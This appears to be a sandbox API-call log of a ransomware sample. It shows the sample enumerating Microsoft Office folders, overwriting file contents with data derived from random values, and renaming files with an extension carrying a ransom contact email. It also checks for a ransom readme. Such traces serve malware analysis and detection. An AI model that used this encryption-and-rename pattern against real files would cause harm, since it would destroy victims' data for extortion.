wcscat (in: _Dest=0x96f8558, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS\\") returned="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS\\" [0057.837] wcscat (in: _Dest=0x96f8558, _Source="MSART15.BDR" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS\\MSART15.BDR") returned="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS\\MSART15.BDR" [0057.837] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x96f8558, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xd2c [0057.839] FindNextFileW (in: hFindFile=0x440de0, lpFindFileData=0x487660 | out: lpFindFileData=0x487660*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8e533000, ftCreationTime.dwHighDateTime=0x1bc8d39, ftLastAccessTime.dwLowDateTime=0x58b4ce70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x8e533000, ftLastWriteTime.dwHighDateTime=0x1bc8d39, nFileSizeHigh=0x0, nFileSizeLow=0xb854, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSART2.BDR", cAlternateFileName="")) returned 1 [0057.839] wcscmp (_String1="MSART2.BDR", _String2=".") returned 1 [0057.839] wcscmp (_String1="MSART2.BDR", _String2="..") returned 1 [0057.839] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x7c) returned 0x96f9b20 [0057.839] wcscpy (in: _Dest=0x96f9b20, _Source="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS") returned="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS" [0057.839] wcscat (in: _Dest=0x96f9b20, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS\\") returned="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS\\" [0057.839] wcscat (in: _Dest=0x96f9b20, _Source="MSART2.BDR" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS\\MSART2.BDR") returned="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS\\MSART2.BDR" [0057.839] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x96f9b20, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x90c [0057.840] FindNextFileW (in: hFindFile=0x440de0, lpFindFileData=0x487660 | out: lpFindFileData=0x487660*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8e533000, ftCreationTime.dwHighDateTime=0x1bc8d39, ftLastAccessTime.dwLowDateTime=0x69dc9750, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x8e533000, ftLastWriteTime.dwHighDateTime=0x1bc8d39, nFileSizeHigh=0x0, nFileSizeLow=0xe12e, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSART3.BDR", cAlternateFileName="")) returned 1 [0057.840] wcscmp (_String1="MSART3.BDR", _String2=".") returned 1 [0057.840] wcscmp (_String1="MSART3.BDR", _String2="..") returned 1 [0057.840] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x7c) returned 0x96f9ba8 [0057.840] wcscpy (in: _Dest=0x96f9ba8, _Source="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS") returned="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS" [0057.840] wcscat (in: _Dest=0x96f9ba8, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS\\") returned="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS\\" [0057.840] wcscat (in: _Dest=0x96f9ba8, _Source="MSART3.BDR" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS\\MSART3.BDR") returned="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS\\MSART3.BDR" [0057.840] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x96f9ba8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xe7c [0057.842] FindNextFileW (in: hFindFile=0x440de0, lpFindFileData=0x487660 | out: lpFindFileData=0x487660*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8e533000, ftCreationTime.dwHighDateTime=0x1bc8d39, ftLastAccessTime.dwLowDateTime=0x58b4ce70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x8e533000, ftLastWriteTime.dwHighDateTime=0x1bc8d39, nFileSizeHigh=0x0, nFileSizeLow=0x3902, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSART4.BDR", cAlternateFileName="")) returned 1 [0057.842] wcscmp (_String1="MSART4.BDR", _String2=".") returned 1 [0057.842] wcscmp (_String1="MSART4.BDR", _String2="..") returned 1 [0057.842] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x7c) returned 0x96f9c30 [0057.842] wcscpy (in: _Dest=0x96f9c30, _Source="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS") returned="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS" [0057.842] wcscat (in: _Dest=0x96f9c30, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS\\") returned="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS\\" [0057.842] wcscat (in: _Dest=0x96f9c30, _Source="MSART4.BDR" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS\\MSART4.BDR") returned="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS\\MSART4.BDR" [0057.842] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x96f9c30, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xe58 [0057.843] FindNextFileW (in: hFindFile=0x440de0, lpFindFileData=0x487660 | out: lpFindFileData=0x487660*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8e533000, ftCreationTime.dwHighDateTime=0x1bc8d39, ftLastAccessTime.dwLowDateTime=0x69dc9750, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x8e533000, ftLastWriteTime.dwHighDateTime=0x1bc8d39, nFileSizeHigh=0x0, nFileSizeLow=0x3dac, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSART5.BDR", cAlternateFileName="")) returned 1 [0057.843] wcscmp (_String1="MSART5.BDR", _String2=".") returned 1 [0057.843] wcscmp (_String1="MSART5.BDR", _String2="..") returned 1 [0057.843] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x7c) returned 0x96f9cb8 [0057.843] wcscpy (in: _Dest=0x96f9cb8, _Source="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS") returned="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS" [0057.844] wcscat (in: _Dest=0x96f9cb8, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS\\") returned="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS\\" [0057.844] wcscat (in: _Dest=0x96f9cb8, _Source="MSART5.BDR" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS\\MSART5.BDR") returned="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS\\MSART5.BDR" [0057.844] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x96f9cb8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xd64 [0057.845] FindNextFileW (in: hFindFile=0x440de0, lpFindFileData=0x487660 | out: lpFindFileData=0x487660*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8e533000, ftCreationTime.dwHighDateTime=0x1bc8d39, ftLastAccessTime.dwLowDateTime=0x58b4ce70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x8e533000, ftLastWriteTime.dwHighDateTime=0x1bc8d39, nFileSizeHigh=0x0, nFileSizeLow=0xd7b6, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSART6.BDR", cAlternateFileName="")) returned 1 [0057.845] wcscmp (_String1="MSART6.BDR", _String2=".") returned 1 [0057.845] wcscmp (_String1="MSART6.BDR", _String2="..") returned 1 [0057.845] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x7c) returned 0x96f9d40 [0057.845] wcscpy (in: _Dest=0x96f9d40, _Source="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS") returned="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS" [0057.845] wcscat (in: _Dest=0x96f9d40, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS\\") returned="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS\\" [0057.845] wcscat (in: _Dest=0x96f9d40, _Source="MSART6.BDR" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS\\MSART6.BDR") returned="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS\\MSART6.BDR" [0057.845] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x96f9d40, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x580 [0057.846] FindNextFileW (in: hFindFile=0x440de0, lpFindFileData=0x487660 | out: lpFindFileData=0x487660*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8e533000, ftCreationTime.dwHighDateTime=0x1bc8d39, ftLastAccessTime.dwLowDateTime=0x69dc9750, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x8e533000, ftLastWriteTime.dwHighDateTime=0x1bc8d39, nFileSizeHigh=0x0, nFileSizeLow=0xf24, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSART7.BDR", cAlternateFileName="")) returned 1 [0057.846] wcscmp (_String1="MSART7.BDR", _String2=".") returned 1 [0057.847] wcscmp (_String1="MSART7.BDR", _String2="..") returned 1 [0057.847] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x7c) returned 0x96f9dc8 [0057.847] wcscpy (in: _Dest=0x96f9dc8, _Source="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS") returned="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS" [0057.847] wcscat (in: _Dest=0x96f9dc8, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS\\") returned="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS\\" [0057.847] wcscat (in: _Dest=0x96f9dc8, _Source="MSART7.BDR" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS\\MSART7.BDR") returned="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS\\MSART7.BDR" [0057.847] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x96f9dc8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xb58 [0057.848] FindNextFileW (in: hFindFile=0x440de0, lpFindFileData=0x487660 | out: lpFindFileData=0x487660*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8e533000, ftCreationTime.dwHighDateTime=0x1bc8d39, ftLastAccessTime.dwLowDateTime=0x69dc9750, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x8e533000, ftLastWriteTime.dwHighDateTime=0x1bc8d39, nFileSizeHigh=0x0, nFileSizeLow=0xbfca, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSART8.BDR", cAlternateFileName="")) returned 1 [0057.848] wcscmp (_String1="MSART8.BDR", _String2=".") returned 1 [0057.848] wcscmp (_String1="MSART8.BDR", _String2="..") returned 1 [0057.848] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x7c) returned 0x96f9e50 [0057.848] wcscpy (in: _Dest=0x96f9e50, _Source="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS") returned="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS" [0057.848] wcscat (in: _Dest=0x96f9e50, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS\\") returned="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS\\" [0057.848] wcscat (in: _Dest=0x96f9e50, _Source="MSART8.BDR" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS\\MSART8.BDR") returned="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS\\MSART8.BDR" [0057.848] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x96f9e50, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xb50 [0057.849] FindNextFileW (in: hFindFile=0x440de0, lpFindFileData=0x487660 | out: lpFindFileData=0x487660*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8e533000, ftCreationTime.dwHighDateTime=0x1bc8d39, ftLastAccessTime.dwLowDateTime=0x69dc9750, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x8e533000, ftLastWriteTime.dwHighDateTime=0x1bc8d39, nFileSizeHigh=0x0, nFileSizeLow=0xc696, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSART9.BDR", cAlternateFileName="")) returned 1 [0057.850] wcscmp (_String1="MSART9.BDR", _String2=".") returned 1 [0057.850] wcscmp (_String1="MSART9.BDR", _String2="..") returned 1 [0057.850] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x7c) returned 0x96f9ed8 [0057.850] wcscpy (in: _Dest=0x96f9ed8, _Source="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS") returned="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS" [0057.850] wcscat (in: _Dest=0x96f9ed8, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS\\") returned="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS\\" [0057.850] wcscat (in: _Dest=0x96f9ed8, _Source="MSART9.BDR" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS\\MSART9.BDR") returned="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS\\MSART9.BDR" [0057.850] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x96f9ed8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xb70 [0057.851] FindNextFileW (in: hFindFile=0x440de0, lpFindFileData=0x487660 | out: lpFindFileData=0x487660*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8e533000, ftCreationTime.dwHighDateTime=0x1bc8d39, ftLastAccessTime.dwLowDateTime=0x69dc9750, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x8e533000, ftLastWriteTime.dwHighDateTime=0x1bc8d39, nFileSizeHigh=0x0, nFileSizeLow=0xc696, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSART9.BDR", cAlternateFileName="")) returned 0 [0057.851] FindClose (in: hFindFile=0x440de0 | out: hFindFile=0x440de0) returned 1 [0057.852] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x487660) returned 1 [0057.852] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x4ef4c8) returned 1 [0057.852] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x421b98) returned 1 Thread: id = 559 os_tid = 0xfac [0049.360] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\CharSetTable.chr" (normalized: "c:\\program files\\microsoft office\\office14\\charsettable.chr")) returned 0x20 [0051.860] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\CharSetTable.chr", dwFileAttributes=0x20) returned 1 [0054.853] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\CharSetTable.chr" (normalized: "c:\\program files\\microsoft office\\office14\\charsettable.chr"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xf60 [0054.855] GetFileSizeEx (in: hFile=0xf60, lpFileSize=0xdeffba8 | out: lpFileSize=0xdeffba8*=56514) returned 1 [0054.855] SetFilePointerEx (in: hFile=0xf60, liDistanceToMove=0xdcbe, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0054.856] ReadFile (in: hFile=0xf60, lpBuffer=0xdeffb2c, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0xdeffb28, lpOverlapped=0x0 | out: lpBuffer=0xdeffb2c*, lpNumberOfBytesRead=0xdeffb28*=0x4, lpOverlapped=0x0) returned 1 [0054.857] SetFilePointerEx (in: hFile=0xf60, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0054.857] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x4600a8 [0054.857] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x460030 [0054.857] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x4600d0 [0054.857] NtQuerySystemTime (in: CurrentTime=0xdeffb08 | out: CurrentTime=0xdeffb08*=132174898188420000) returned 0x0 [0054.857] RtlRandomEx (in: Seed=0xdeffb14 | out: Seed=0xdeffb14) returned 0x60dd9c3f [0054.857] RtlRandomEx (in: Seed=0xdeffb14 | out: Seed=0xdeffb14) returned 0xdec4950 [0054.857] RtlRandomEx (in: Seed=0xdeffb14 | out: Seed=0xdeffb14) returned 0x11f006a6 [0054.857] RtlRandomEx (in: Seed=0xdeffb14 | out: Seed=0xdeffb14) returned 0x54563881 [0054.857] RtlRandomEx (in: Seed=0xdeffb14 | out: Seed=0xdeffb14) returned 0x5ba8fe7b [0054.857] RtlRandomEx (in: Seed=0xdeffb14 | out: Seed=0xdeffb14) returned 0x4d7fc152 [0054.857] RtlRandomEx (in: Seed=0xdeffb14 | out: Seed=0xdeffb14) returned 0x37e738aa [0054.857] RtlRandomEx (in: Seed=0xdeffb14 | out: Seed=0xdeffb14) returned 0x661b5e8d [0054.857] RtlRandomEx (in: Seed=0xdeffb14 | out: Seed=0xdeffb14) returned 0x44c6ddfd [0054.857] RtlRandomEx (in: Seed=0xdeffb14 | out: Seed=0xdeffb14) returned 0x570b2b0d [0054.857] RtlRandomEx (in: Seed=0xdeffb14 | out: Seed=0xdeffb14) returned 0x521359cb [0054.858] RtlRandomEx (in: Seed=0xdeffb14 | out: Seed=0xdeffb14) returned 0x1bd906cb [0054.858] RtlRandomEx (in: Seed=0xdeffb14 | out: Seed=0xdeffb14) returned 0x655cc4de [0054.858] RtlRandomEx (in: Seed=0xdeffb14 | out: Seed=0xdeffb14) returned 0x7b226f54 [0054.858] RtlRandomEx (in: Seed=0xdeffb14 | out: Seed=0xdeffb14) returned 0x5794eb83 [0054.858] RtlRandomEx (in: Seed=0xdeffb14 | out: Seed=0xdeffb14) returned 0x29b34b98 [0054.858] RtlRandomEx (in: Seed=0xdeffb14 | out: Seed=0xdeffb14) returned 0x4bcaee92 [0054.858] RtlRandomEx (in: Seed=0xdeffb14 | out: Seed=0xdeffb14) returned 0x3d1f8815 [0054.858] RtlRandomEx (in: Seed=0xdeffb14 | out: Seed=0xdeffb14) returned 0x789991c6 [0054.858] RtlRandomEx (in: Seed=0xdeffb14 | out: Seed=0xdeffb14) returned 0x1bb6c5ba [0054.858] RtlRandomEx (in: Seed=0xdeffb14 | out: Seed=0xdeffb14) returned 0x327ef7e7 [0054.858] RtlRandomEx (in: Seed=0xdeffb14 | out: Seed=0xdeffb14) returned 0xabd857a [0054.858] RtlRandomEx (in: Seed=0xdeffb14 | out: Seed=0xdeffb14) returned 0x5eca19ef [0054.858] RtlRandomEx (in: Seed=0xdeffb14 | out: Seed=0xdeffb14) returned 0x241fc2ca [0054.858] RtlRandomEx (in: Seed=0xdeffb14 | out: Seed=0xdeffb14) returned 0x7b70ea2b [0054.858] RtlRandomEx (in: Seed=0xdeffb14 | out: Seed=0xdeffb14) returned 0x1879c4ad [0054.858] RtlRandomEx (in: Seed=0xdeffb14 | out: Seed=0xdeffb14) returned 0x3bbeac04 [0054.858] RtlRandomEx (in: Seed=0xdeffb14 | out: Seed=0xdeffb14) returned 0x2859983b [0054.858] RtlRandomEx (in: Seed=0xdeffb14 | out: Seed=0xdeffb14) returned 0x6df3d442 [0054.858] RtlRandomEx (in: Seed=0xdeffb14 | out: Seed=0xdeffb14) returned 0x9ab8ec3 [0054.858] RtlRandomEx (in: Seed=0xdeffb14 | out: Seed=0xdeffb14) returned 0x6159d11a [0054.858] RtlRandomEx (in: Seed=0xdeffb14 | out: Seed=0xdeffb14) returned 0x6e336371 [0054.872] SetFilePointerEx (in: hFile=0xf60, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0054.872] ReadFile (in: hFile=0xf60, lpBuffer=0x9753840, nNumberOfBytesToRead=0xc800, lpNumberOfBytesRead=0xdeffae8, lpOverlapped=0x0 | out: lpBuffer=0x9753840*, lpNumberOfBytesRead=0xdeffae8*=0xc800, lpOverlapped=0x0) returned 1 [0054.873] SetFilePointerEx (in: hFile=0xf60, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0054.873] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x40) returned 0x44bd30 [0054.873] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x70) returned 0x418cf8 [0054.874] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x4600a8 [0054.874] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x4600a8) returned 1 [0054.874] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0xc800) returned 0x9760048 [0054.875] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x4600a8 [0054.875] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x4600d0 [0054.875] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x4600d0) returned 1 [0054.875] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x418cf8) returned 1 [0054.875] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x44bd30) returned 1 [0054.875] WriteFile (in: hFile=0xf60, lpBuffer=0x9760048*, nNumberOfBytesToWrite=0xc800, lpNumberOfBytesWritten=0xdeffae8, lpOverlapped=0x0 | out: lpBuffer=0x9760048*, lpNumberOfBytesWritten=0xdeffae8*=0xc800, lpOverlapped=0x0) returned 1 [0054.880] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x9760048) returned 1 [0054.880] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x9753840) returned 1 [0054.880] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x2d) returned 0x40aa68 [0054.880] SetFilePointerEx (in: hFile=0xf60, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0054.880] WriteFile (in: hFile=0xf60, lpBuffer=0x5efe280*, nNumberOfBytesToWrite=0x111, lpNumberOfBytesWritten=0xdeffb68, lpOverlapped=0x0 | out: lpBuffer=0x5efe280*, lpNumberOfBytesWritten=0xdeffb68*=0x111, lpOverlapped=0x0) returned 1 [0054.881] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x5efe280) returned 1 [0054.881] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x40ab80) returned 1 [0054.881] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x4600d0) returned 1 [0054.881] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x40aa68) returned 1 [0054.881] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x4600a8) returned 1 [0054.881] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x460030) returned 1 [0054.881] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x460148) returned 1 [0054.881] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x460198) returned 1 [0054.882] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0xc0) returned 0x12f4daa0 [0054.882] wcscpy (in: _Dest=0x12f4daa0, _Source="C:\\Program Files\\Microsoft Office\\Office14\\CharSetTable.chr" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\CharSetTable.chr") returned="C:\\Program Files\\Microsoft Office\\Office14\\CharSetTable.chr" [0054.882] wcscat (in: _Dest=0x12f4daa0, _Source=".mailto[2Hamlampampom@cock.li].cd46d" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\CharSetTable.chr.mailto[2Hamlampampom@cock.li].cd46d") returned="C:\\Program Files\\Microsoft Office\\Office14\\CharSetTable.chr.mailto[2Hamlampampom@cock.li].cd46d" [0054.882] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Program Files\\Microsoft Office\\Office14\\CharSetTable.chr.mailto[2Hamlampampom@cock.li].cd46d", NtPathName=0xdeffb20, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Program Files\\Microsoft Office\\Office14\\CharSetTable.chr.mailto[2Hamlampampom@cock.li].cd46d", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0054.882] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0xd6) returned 0x4d40e0 [0054.883] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x4d40e0) returned 1 [0054.883] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x4b23b0) returned 1 [0054.883] NtQueryInformationFile (in: FileHandle=0xf60, IoStatusBlock=0xdeffb2c, FileInformation=0xdeffb04, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0xdeffb2c, FileInformation=0xdeffb04) returned 0x0 [0054.883] NtSetInformationFile (FileHandle=0xf60, IoStatusBlock=0xdeffb2c, FileInformation=0xdeffb04, Length=0x28, FileInformationClass=0x4) returned 0x0 [0054.885] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x12f4daa0) returned 1 [0054.885] FlushFileBuffers (hFile=0xf60) returned 1 [0054.886] CloseHandle (hObject=0xf60) returned 1 [0054.887] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x7a) returned 0x446dd0 [0054.887] wcscpy (in: _Dest=0x446dd0, _Source="C:\\Program Files\\Microsoft Office\\Office14\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\") returned="C:\\Program Files\\Microsoft Office\\Office14\\" [0054.887] wcscat (in: _Dest=0x446dd0, _Source="CD46D-Readme.txt" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\CD46D-Readme.txt") returned="C:\\Program Files\\Microsoft Office\\Office14\\CD46D-Readme.txt" [0054.887] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\CD46D-Readme.txt" (normalized: "c:\\program files\\microsoft office\\office14\\cd46d-readme.txt")) returned 0x20 [0054.887] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x446dd0) returned 1 [0054.887] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x400718) returned 1 Thread: id = 560 os_tid = 0xfb0 [0049.361] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x6a) returned 0x4ef540 [0049.361] wcscpy (in: _Dest=0x4ef540, _Source="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT") returned="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT" [0049.361] wcscat (in: _Dest=0x4ef540, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\") returned="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\" [0049.361] wcscat (in: _Dest=0x4ef540, _Source="*" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\*") returned="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\*" [0049.361] 